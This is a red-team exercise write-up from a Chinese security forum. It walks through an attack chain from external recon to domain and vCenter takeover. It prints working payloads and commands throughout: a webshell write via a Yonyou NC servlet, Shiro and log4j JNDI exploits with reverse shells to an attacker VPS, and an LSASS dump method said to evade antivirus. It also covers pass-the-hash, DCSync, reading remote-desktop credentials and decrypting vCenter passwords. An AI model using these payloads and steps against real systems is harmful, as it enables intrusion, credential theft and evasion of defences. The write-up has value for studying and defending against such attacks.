问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
记一次攻防演练实战总结
渗透测试
对前阵子的攻防演练比赛进行总结,分享一些个人的思路和方法
0x01 外网打点 ========= 资产发现 ---- **多测绘平台搜索** <https://hunter.qianxin.com/> <https://fofa.info/> <https://quake.360.cn/> ![image_X8BSXnkylx.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-bc73ba0902ed11b894c80002c2dfbfcb37dd76f7.png) ![image_ctJSWbXB6F.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-8c323132c5137e69d8fa80bfd2c6ea3d4149c0b1.png) **多语法搜索** 假如某个目标站点为xxxx.com ,我们可以通过不同的语法进行资产搜集,搜集的资产会更全面 这里以fofa为例 ```php domain="xxxx.com" host="xxxx.com" header="xxxx.com" cert="xxxx.com" ``` 敏感信息泄露 ------ 对于学校站点的信息搜集,一般来说外网能拿直接权限的点已经很少了,web应用大多是放在vpn后面,因此能弄到一个vpn账号可以说是事半功倍,这时候可以通过语法对此类信息进行挖掘 常用命令如下: ```php #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github *.edu.cn password ``` ![image_22dBsSWKAO.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-2673dd360b4fa849f4d7fe016852757803493859.png) 在这次攻防演练里,也是幸运找到了某站点VPN的默认口令,使用的是 `姓名拼音/12345678` 弱口令 ![image_i-KtUIqFmy.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-4046417442400dfde796fdef1c468d921f07fa51.png) 默认口令 ---- 对于部分站点,在搭建完成后可能没有更改默认账号密码,这时候可以尝试使用默认账密登录 下面列举一些常见的web站点默认口令 ```php 账号: admin administrator root user test 密码: admin admin123 123456 123 test root ``` 对于一些应用广泛的系统,可以通过google语法搜索其默认密码 ![image_ejxlTxW5Av.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-e1f87c16ecca92f639432141e0501dcfb5dffd9e.png) 这里通过`sysadmin/1` 成功登入泛微后台 ![t1sb-w5grl_9Xl3mB_bqn.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-dbd36ed9df1438d353eec280ce0f092e50651bc3.png) `nacos/nacos` ![image-20220723225803735.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-38a9be542fc727e3f349b3f980464bf40f9389d1.png) 常见漏洞利用 ------ 对于多目标的攻防演练,个人比惯把目标子域url搜集好,去重后批量导进去指纹识别工具,如Goby、fofahub 从指纹识别结果里筛选出重要资产进行突破,使用已知漏洞或day进行攻击 以下为一些批量漏洞利用工具: <https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0> <https://github.com/d3ckx1/Fvuln> <https://github.com/W01fh4cker/Serein> 框架类的如log4j、shiro、struts2等 OA类的如致远、泛微、用友、蓝凌等,这里也是找到了目标的用友nc站点 ### 用友nc写shell ![56xk-0ba58_-A3uKrDLZX.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-34daa96d003b19ef71194285c7f73c2915deb78c.png) 访问接口/servlet/~ic/bsh.servlet.BshServlet执行命令 ![d5lhwsk0r8_WfpuDtbLpm.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-fe4b42fed35fb30d9835ee7958673c7330a89b28.png) dnslog探测了一下发现不出网,这里直接写入webshell 1、首先生成一个哥斯拉的jsp木马,然后进行unicode编码 ![image_796oyMMBO3.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-ad943e7472c2d8799609a712edbe7aa0c7d57c83.png) 2、再把输出结果进行url编码 ![image_zZUpiKMWn1.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-523d50eb793de4fd5e7735ce34e800abcbf0ce62.png) 3、payload字段如下,这里写入默认路径为 webapps/nc\_web ,实战中灵活应变 ```php String keyWord = URLDecoder.decode("xxxxxx(填入生成内容)xxxxxx", "utf-8"); BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp")); out.write(keyWord); out.close(); ``` 这里直接写入哥斯拉马,连接成功 ![b8xw2a-s9d_hjEIes_edE.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-aff3dae8f93ce60eda2655a54de1d594de665f5c.png) ### shiro无依赖链利用 通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro 直接使用shiro\_attack\_2.2工具开冲,发现有默认key但是无利用链 ![image_ylgMY223mT.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-094195988ad6fcf1cd5f6d55048bbddcc5403899.png) 可能有些人看到这里就放弃了,但这可能会错过一个利用点 shiro可以无依赖链利用,感觉有戏尝试一波,相关知识可拜读师傅的文章<https://www.le1a.com/posts/a5f4a9e3> 这里换用其他工具 ![image-20220607115446156_b9JXMk_Qxy.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-7f9c4106c4ecc4a4a48d49cf5523ac31e3c0e96c.png) 通过dnslog测试有回显,这里有个注意点:使用 [http://dnslog.cn/](http://dnslog.cn/ "http://dnslog.cn/") 部分站点会拦截,可以换多个dnslog平台测试 ![image_htB_EhwPH9.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-75eb6edf1cdd2a21e44e073343d65e2e2f2876a6.png) dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下 这里可以通过网站快速生成payload [https://x.hacking8.com/java-runtime.html](https://x.hacking8.com/java-runtime.html "https://x.hacking8.com/java-runtime.html") ```php Linux: java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}" 字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值 nc -lvp 端口 Windows: java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址 java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p" d2hvYW1p为命令的base64,这里是执行命令whoami ``` ![image_wvD-c4KvV-.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-c11e3e3bdca9a0eada7c4b31ff76c024b16b0f40.png) 0x02 内网渗透 ========= 杀软识别 ---- 拿到一台机器后,一般先看一下安装了什么安全防护产品 `tasklist /svc` ![-rr-ew4zvx_bjnBTV1EhH.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-ee2b9306165cede5a84429a50bd46c8ac5d36daa.png) 探测了一下发现安装了360,把之前准备好的bypass360马子扔上去,成功上线 ![chm2qtadrh_QYKNvySqi7.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-4699f94bee317f2d01501f57bba800ae7cb00bfa.png) 隧道搭建 ---- ping了一下发现机器出网,可以上frp搭建反向代理隧道 ![7brv9u2oe7_ljYwWodDhg.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-045299cdff485f0de9fb1b681293d469643d3771.png) proxifier配置相应的端口账密便可以进入内网 ![h0a0j4rf5-_22woqcMQL4.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-4a6e8c108e84a2e058ed74f038c367ae8baef81c.png) 横向思路 ---- 1、优先拿运维机器,一般存放着大量的账号密码信息 2、其次是集权设备,Vcenter、堡垒机、天擎这些,有day上day,没day寻找其他方法 3、有域的情况下,争取拿到域管hash,或者通过已知漏洞拿下域控 横向移动 ---- 在扫描之前,可以先通过netspy筛选可达的网段再进行扫描 [https://github.com/shmilylty/netspy](https://github.com/shmilylty/netspy "https://github.com/shmilylty/netspy") ![image_aAWQmEgoLW.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-07afa405a19b6e326b1e09e261235f5f6c21af6d.png) 接着上fscan对可达各个C段开扫,追求效率可只扫描22、80、443、445、1433、8080等重点端口 由于扫描会引起安全设备告警,因此横向尽可能在一小时内结束,避免入口机器被关机下线,对于拿到的机器可以通过计划任务进行维权,尽可能多拿几台机器保证口子不会掉,拿到机器后继续做信息搜集,网段,机器信息,敏感文件,xshell、navicat密码等常规的这里就不细说了 ### dump lssas 正常没有杀软我们可以通过mimikatz抓取密码 但很多时候mimikatz会被拦截,这时候可以通过一些LOLBINS方法dump出来本地解 ![image_xvtqu2JT5W.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-b139349f47c89d2ae7c8db2d3a7ec69f2b123802.png) 这里使用的dump64.exe为白程序,位置位于 `C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\` `dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp` 测试可过360和火绒 ![image_w7zffbKEzi.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-649b1a68c83ad33d72e5f28408f23a0bf4f41eb2.png) ![image_x0lqYBmjQ2.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-52428000d605312d941bbb4080271ff415372dc1.png) ### 密码复用 08机器之前可以抓到明文,抓不到明文可以尝试到cmd5上进行破解,破解率较高 <https://www.cmd5.com> <https://www.somd5.com> 获取密码之后可以通过超级弱口令工具进行密码复用爆破,拿着获取的密码重新组合字典,对网段内的机器进行爆破,这次也是成功拿下了几十台机器 ![image_B-HbFja15K.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-1c32709c8a92796d5298c73cc37611a24b3b235d.png) 若hash解不出来,这时候我们可以根据开放的端口进行PTH,下面列举一些 ```php wmiexec 135端口 psexec 445端口 evil-winrm 5985端口 ``` ### 向日葵读取密码 拿到机器的账号密码之后,若机器开启了3389端口可以选择rdp远程桌面过去,没开的话可以开启3389端口进行远程连接 ```php #执行以下命令操作注册表来开启机器3389远程桌面服务 REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f #使用以下命令添加防火墙放行策略 netsh firewall add portopening protocol = TCP port = 3389 name = rdp ``` 但如果是正常办公时间,贸然登录过去会很容易引起对方的发现,若进程中有sunlogin进程,可以读取识别码和验证码,通过向日葵连接相对比较隐蔽 ![duk5gbct0f_meMyYaCbN7.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-392ecd41c440d68db85dc14ff32ba985e86040b5.png) 注册表读取配置信息: ```php reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo 向日葵默认配置文件路径: 安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini 便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini 本机验证码参数:encry\_pwd 本机识别码参数:fastcode(去掉开头字母) sunlogincode:判断用户是否登录状态 ``` 读注册表: ![glkpzmabud_771pPqH2eN.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-ea4f8202631637ebb69eb85a4c1d3977330610e6.png) 读默认配置文件: fastcode去掉前面的数字k为本机识别码`278263893` ![0k5feqz515_ejswLYRqVy.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-6003a4f7f891c3553763823ea8ac62c52756b28d.png) 使用脚本进行解密获得本机验证码 ![r10bnuf1d3_sY377ayb3l.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-44ffe2483e6509df4e2b1c9591ebc0c7934bb28d.png) ### 运维机 横向的时候优先拿运维机,一般运维机存储着大量的账号密码信息,比如这次无意中发现的运维机器使用的是弱口令`administrator/111111` 另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定 拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。 ```php dir /a /s /b d:\\" \*.txt" dir /a /s /b d:\\"\* pass \*" dir /a /s /b d:\\"\* login \*" dir /a /s /b d:\\"\* user \*" dir /a /s /b c:\\password.txt dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config dir /a /s /b c:\\conf.\* config.\* dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑" dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维" dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt ``` 最后收集了一堆密码本,可登录到各重要系统: H3C堡垒机 ![ilyp6ixpq1_a6ILzCKmfM.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-3a201194fc19538478f6985ca137066706611d66.png) 禅道 ![a680cz-6mv_TJX707htOa.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-6dec926c8401adb6b06404aafcb2bdd290f401e5.png) ### 域控 1、通过fscan扫描的时候可以检索AD关键字发现域控 ```php [*]192.168.10.38 #非真实域控ip [->]D1-Prod-AD-P01 [->]192.168.10.38 [*]192.168.10.20 #非真实域控ip [->]AD [->]192.168.10.20 ``` 2、域内主机 DNS 一般就是域控地址 接着可以通过该机器是否开放53和389端口进行进一步确认 这次攻防演练的其中一个目标,通过密码复用爆破成功的某台机器里,刚好存在着域管进程,提权到system权限后注入到域管进程,通过Dcsync成功获取域管密码的hash值,其中一个被禁用的账户刚好可以通过cmd5解出,解出明文密码并激活账户,成功登录两台域控机器,除此以外还可以尝试域漏洞、NTLM中继等 ```php net group "domain admins" /domain dcsync domain xxxx shell net user xxxx shell net user xxxx /active:yes /domain ``` ![image_CbIuSx-DB0.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-c0096a4afab6b715219b72d969afe3de662a6a94.png) ![image_lKpb0bidqu.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-2e150642d27ae6cbd34f40b4acc38cd880ba71d4.png) ### Vcenter 在扫描的过程中发现几台Vcenter,Vcenter常规有三种打法,分别是 CVE-2021-22005-rce、CVE-2021-21972-rce和log4j 前两个测试没成功,log4j通过dnslog探测漏洞存在,vcenter的漏洞触发点在xff头部 ```php java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0 nc -lvp 9000 ${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000} ``` ![4s6zq8tgso_dj3CuwYEQo.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-be59b369b6b65a03e173ca10dd9b5422d101bafb.png) ![styrmfmfl2_AgaGTkpKg8.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-2da058a2d843307b767c998a4f3ab3d8ac90f545.png) 但一般打完是非交互式shell,没有回显,这里使用命令切换为交互式shell `python -c 'import pty;pty.spawn('/bin/bash')'` 重置密码 `/usr/lib/vmware-vmdir/bin/vdcadmintool` **不重置密码获取密码** [https://github.com/shmilylty/vhost\_password\_decrypt](https://github.com/shmilylty/vhost_password_decrypt "https://github.com/shmilylty/vhost_password_decrypt") ```php #获取vc用户的密码 cat /etc/vmware-vpx/vcdb.properties #把加密后的密码单独拿出来, psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc #改成这种格式\* H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\* zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\* Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\* R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA== #拿解密key cat /etc/vmware-vpx/ssl/symkey.dat Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat Linux:/etc/vmware-vpx/ssl/symkey.dat #破解 python decrypt.py symkey.dat password.enc pass.txt ``` 然后就可以登入web控制台了 ![1r01obzkhj_ogBBaw34kH.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-c6550f127b7a393fd275449f2fa0693d04c1e334.png) ![wrhrlq1_b0_FPzcE7l_qW.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-534bc71eab7b0a60bb1d8db1360d2bd48676cefc.png) ### 云管平台 通过运维机的xshell查找历史记录拿下了主备数据库,然后执行sql语句成功获取出了云管平台的hash ![s0rd_kjpjv_87EAPEGHd4.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-693e635a37683715d6d345b5f363c55464b01842.png) 到cmd5上进行解密,一块钱拿下云管平台很划算 ![ju3rv8cne0_h6vf8T_VC_.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-0bb6904a8ea3082373867a962587cb749223b5cb.png) ![gg-wo7d5y4_4dPpSzvI37.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-6750ee9bca7b42f76fc8ae4a5a5addf7ece9bd6a.png) 但某些系统加密方式不是使用md5的,比如之前碰到的一些系统使用的是Bcrypt加密方式,像这种不可逆的加密方式可以通过替换hash进行登录 `$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS` ![image_jqNCTT6FpJ.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-6811f227aad59d8de86c4d932130953c4e81af31.png) ![image_X-SfF9SMpb.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-a16b6e2e6d5e45452992b52c6f6f765986a61452.png) ### 官网 当我们拿到集权设备后,一般里面会有靶标系统或核心系统,这些分数是很高的,这次演练某目标就是通过云管平台登录官网机器,抓取浏览器密码成功获取后台密码,成功拿下官网控制权 ![0dd0amrx3g_9fOtAaJESy.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-e1ab32f25bf4674df8a47c7f0906d177ca5b0918.png) ### gitlab仓库 根据评分规则刷完路径分之后,可以根据目标性质找一些核心关键的系统跟裁判battle,像这种存有大量代码的仓库可以作为重大成果进行提交 ![j07_ng7z14_wYcVLx23dN.png](https://shs3.b.qianxin.com/attack_forum/2022/07/attach-3d428337f78cd23db668e4083dd75be2c2e1a150.png)
发表于 2022-09-06 09:58:15
阅读 ( 60304 )
分类:
内网渗透
40 推荐
收藏
13 条评论
jack_xuan
2022-07-29 10:47
学习了
请先
登录
后评论
洛水不见君
2022-07-29 10:57
太强辣
请先
登录
后评论
hatang
2022-07-29 10:59
大佬太强了
请先
登录
后评论
gdydx778
2022-07-30 18:03
拜读了师傅的文章,收获了很多。
请先
登录
后评论
ldea
2022-07-31 09:20
可以 优秀
请先
登录
后评论
gdydx778
2022-07-31 17:51
干货满满 学到了很多。
请先
登录
后评论
jokes777
2022-07-31 19:26
太强啦
请先
登录
后评论
lxxl
2022-08-04 02:42
太强了
请先
登录
后评论
zhany1
2022-09-08 13:25
很强,学习了
请先
登录
后评论
北海的冰北冰洋
2022-09-08 17:49
强
请先
登录
后评论
请先
登录
后评论
‹
1
2
›
hyyrent
红队摸鱼选手
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!